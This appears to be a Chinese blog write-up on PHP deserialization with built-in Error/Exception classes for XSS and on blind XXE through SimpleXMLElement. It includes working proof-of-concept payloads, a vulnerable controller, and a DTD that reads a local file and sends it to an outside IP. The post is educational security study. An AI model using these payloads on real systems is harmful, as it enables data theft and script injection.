PHP反序列化和XXE的学习

前言

最近在学习的时候看了一个师傅的博客,里面提到的知识点可以扩大我们的攻击面,这里记录一下自己对这些知识点的理解和运用

反序列化

这和我们平时遇到的反序列化利用不同,在不能使用phar协议进行反序列化的时候,通常我们挖掘反序列化POP链时的需要的条件:

  1. 存在可控的反序列化参数
  2. 程序中存在可用的类并且存在wakeup()destruct()魔法函数
  3. 该类在魔法函数中能否在当前调用中触发
  • 如果当前程序中不存在我们可用的类,那我们的POP链就断了。

    PHP可用的反序列化原生类

  1. Error
    Error类就是php的一个内置类用于自动自定义一个Error,在php7的环境下可能会造成一个xss漏洞,原因是该类存在一个__toString方法,我们来复习一下__toString方法。

    __toString()

    __toString():当一个对象被当作一个字符串使用。此方法必须返回一个字符串,否则将发出一条E_RECOVERABLE_ERROR级别的致命错误。

    当一个对象被当作一个字符串使用时候会触发。

  • 由于php的语言特性,php一些函数会自动完成类型转换,下面是__toString()方法的触发条件
  1. echo ($obj) / print($obj) 打印时会触发
  2. 反序列化对象与字符串连接时
  3. 反序列化对象参与格式化字符串时
  4. 反序列化对象与字符串进行==比较时(PHP进行==比较的时候会转换参数类型
  5. 反序列化对象参与格式化SQL语句,绑定参数时
  6. 反序列化对象在经过php字符串函数,如 strlen()、addslashes()时
  7. 在in_array()方法中,第一个参数是反序列化对象,第二个参数的数组中有toString返回的字符串的时候toString会被调用
  8. 反序列化的对象作为 class_exists() 的参数的时候
    所以结果很显然了,我们写一个demo来测试一下是否能触发XSS,就拿我上篇laravel反序列化的demo来测试一下
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    <?php

    namespace App\Http\Controllers\Test;

    use Illuminate\Http\Request;
    use App\Http\Controllers\Controller;


    class TestController extends Controller
    {
    public function Test()
    { //test unserialize
    $code = $_GET['c'];
    unserialize($code);
    echo $code;

    }
    }
  • POC
    1
    2
    $a = new Error("<script>alert(1)</script>");
    echo urlencode(serialize($a));
    可以看到成功弹窗
    xss1
  1. Exception
    这个类利用的方式和原理和Error类一样,不同是它适用于PHP5和PHP7,所以更好用
  • POC
    1
    2
    $a = new Exception("<script>alert(1)</script>");
    echo urlencode(serialize($a));
    弹窗成功
    xss2

XXE

下面的代码来源于PHP SECURITY CALENDAR 2017

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
class HomeController
{
private $template;
private $variables;


public function __construct($template, $variables)
{

$this->template = $template;
$this->variables = $variables;
}

public function render()
{
if ($this->variables['new']) {
echo 'controller rendering new response';
} else {
echo 'controller rendering old response';
}
}
}


function __autoload($className)
{

include $className;
}

$controllerName = $_GET['c']; //HomeController
$data = $_GET['d'];

if (class_exists($controllerName)) {
$controller = new $controllerName($data['t'], $data['v']);
$controller->render();
} else {
echo 'There is no page with this name';
}

这个代码存在两种漏洞,第一种是任意文件读取,第二个就是盲打XXE。

  1. 任意文件读取
    这个漏洞的触发点在class_exists,我们来看php手册如何解释这个函数
    class_exists
    可以看到该函数存在2个参数,第一个是要检查的类,第二个参数autoload决定是否默认调用 __autoload。可以看到默认是True

    这个漏洞只能在php5.3之下利用

  • 变量$controllerName可控,进入if判断我们传入的类是否存在,不存在则调用__autoload尝试加载,如果我们传入../../../../etc/passwd,就造成了任意文件读取
    任意文件读取
    由于我这里没有这么低版本的环境,就没有测试下去了(大于php5.3版本传入类名包含./就会自动跳出)
  1. XXE
    这里我们利用到了PHP的一个原生类SimpleXMLElement
  • 首先看源代码,漏洞触发点是在$controller = new $controllerName($data['t'], $data['v']);实例化对象这里,这里用到了可变变量,所以我们new一个任意的对象。
  • 接下来看原生类SimpleXMLElement的构造方法
    SimpleXMLElement::__construct
    参数:
  • data:格式正确的XML字符串,当参数data_is_urlTrue时,传入一个URL字符串
  • options:(可选)用于指定其他Libxml参数。

思路就是传入一个SimpleXMLElement类进行实例化,当XML外部实体可控,就造成XXE,源码没有echo等函数回显,所以我们利用盲打XXE

过程

  • 首先我们在在本地上传一个test2.dtd文件
    1
    2
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///C:/Windows/system.ini">
    <!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://10.3.131.118:1111?p=%file;'>">
    这里我们用到了参数实体,顺便写一下两种实体的区别
  1. 通用实体
    &实体名;,引用的实体(例如上面的&xxe;),他在DTD 中定义,在 XML 文档中引用
    1
    2
    3
    4
    5
    6
    7
    <?xml version="1.0" encoding="utf-8"?> 
    <!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]>
    <updateProfile>
    <firstname>Joe</firstname>
    <lastname>&file;</lastname>
    ...
    </updateProfile>
  2. 参数实体:
    1. 使用 % 实体名(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用%实体名; 引用
    2. 只有在 DTD 文件中,参数实体的声明才能引用其他实体
    3. 和通用实体一样,参数实体也可以外部引用
      1
      2
      3
      <!ENTITY % an-element "<!ELEMENT mytag (subtag)>"> 
      <!ENTITY % remote-dtd SYSTEM "http://localhost/test.dtd">
      %an-element; %remote-dtd;

      参数实体在我们 Blind XXE 中起到了至关重要的作用

  • 接下来我们来构造POC
    参数c是我们要实例化的类:c=SimpleXMLElement
    构造函数存在2个参数,第一个当然是data,第二个是options;options这里我们选择LIBXML_NOENT,预设值为2
    LIBXML_NOENT
    XML的内容:
    1
    2
    3
    4
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE ANY[
    <!ENTITY % remote SYSTEM "http://10.3.131.118/test2.dtd">
    %remote;%int;%send;
    接下来在本地用NC开启监听,不出意外我们会收到请求
    result
    也可以将dtd中的端口改为Web端口,然后再apache查看日志即可

    最后

    其实还有一部分知识点没有写完,先在这里留个坑好了,过几天补充剩下的。
Author: Isabellae
Link: http://is4b3lla3.github.io/2020/06/15/%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%92%8CXXE/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.